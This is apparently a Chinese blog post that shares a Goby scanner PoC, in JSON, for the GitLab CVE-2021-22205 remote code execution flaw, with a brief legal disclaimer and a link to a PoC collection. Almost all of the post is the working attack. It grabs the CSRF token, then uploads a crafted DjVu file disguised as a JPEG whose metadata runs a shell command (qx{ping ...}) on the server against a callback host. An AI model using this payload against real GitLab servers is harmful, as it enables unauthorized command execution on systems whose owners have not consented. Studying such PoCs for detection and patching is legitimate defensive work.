声明

本程序仅供于学习交流，请使用者遵守《中华人民共和国网络安全法》，勿将此脚本用于非授权的测试，脚本开发者不负任何连带法律责任。

代码

{"Name": "Gitlab RCE CVE-2021-22205","Level": "3","Tags": ["rce"],"GobyQuery": "app=gitlab | title=\"gitlab\"","Description": "An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution","Product": "gitlab","Homepage": "https://about.gitlab.com/","Author": "aetkrad","Impact": "","Recommendation": "","References": ["http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2021-22205"],"HasExp": true,"ExpParams": null,"ExpTips": {"Type": "","Content": ""},"ScanSteps": ["AND",{"Request": {"method": "GET","uri": "/users/sign_in","follow_redirect": true,"header": null,"data_type": "text","data": "","set_variable": []},"ResponseTest": {"type": "group","operation": "AND","checks": [{"type": "item","variable": "$code","operation": "==","value": "200","bz": ""},{"type": "item","variable": "$head","operation": "contains","value": "experimentation_subject_id","bz": ""}]},"SetVariable": ["X-CSRF-Token|lastbody|regex|name=\\\"csrf-token\\\" content=\\\"([\\s\\S]+?)\\\" />","output|lastbody|text|"]},{"Request": {"method": "POST","uri": "/uploads/user","follow_redirect": false,"header": {"X-CSRF-Token": "{{{X-CSRF-Token}}}","Content-Type": "multipart/form-data; boundary=---------------------------99652559321225150602861519786","X-Requested-With": "XMLHttpRequest"},"data_type": "text","data": "-----------------------------99652559321225150602861519786\nContent-Disposition: form-data; name=\"file\"; filename=\"demo.jpg\"\nContent-Type: image/jpeg\n\nAT&TFORM\u0000\u0000\u0000tDJVUINFO\u0000\u0000\u0000\n\u0000\u0000\u0000\u0000\u0018\u0000,\u0001\u0016\u0001BGjp\u0000\u0000\u0000\u0000ANTa\u0000\u0000\u0000N(metadata\n\t(Copyright \"\\\n\" . qx{ping -c1 {{{check}}} } . \\\n\" b \") )\n\n-----------------------------99652559321225150602861519786--\n","set_variable": []},"ResponseTest": {"type": "group","operation": "AND","checks": [{"type": "item","variable": "$code","operation": "==","value": "422","bz": ""},{"type": "item","variable": "$body","operation": "contains","value": "Failed to process image","bz": ""}]},"SetVariable": ["output|lastbody||"]}],"ExploitSteps": ["AND",{"Request": {"method": "GET","uri": "/test.php","follow_redirect": true,"header": null,"data_type": "text","data": "","set_variable": []},"ResponseTest": {"type": "group","operation": "AND","checks": [{"type": "item","variable": "$code","operation": "==","value": "200","bz": ""},{"type": "item","variable": "$body","operation": "contains","value": "test","bz": ""}]},"SetVariable": ["output|lastbody|regex|"]}],"PostTime": "2021-11-04 16:35:47","GobyVersion": "1.8.302"
}

#poc集合
地址：https://github.com/aetkrad/goby_poc
帮助到你的话给个星吧！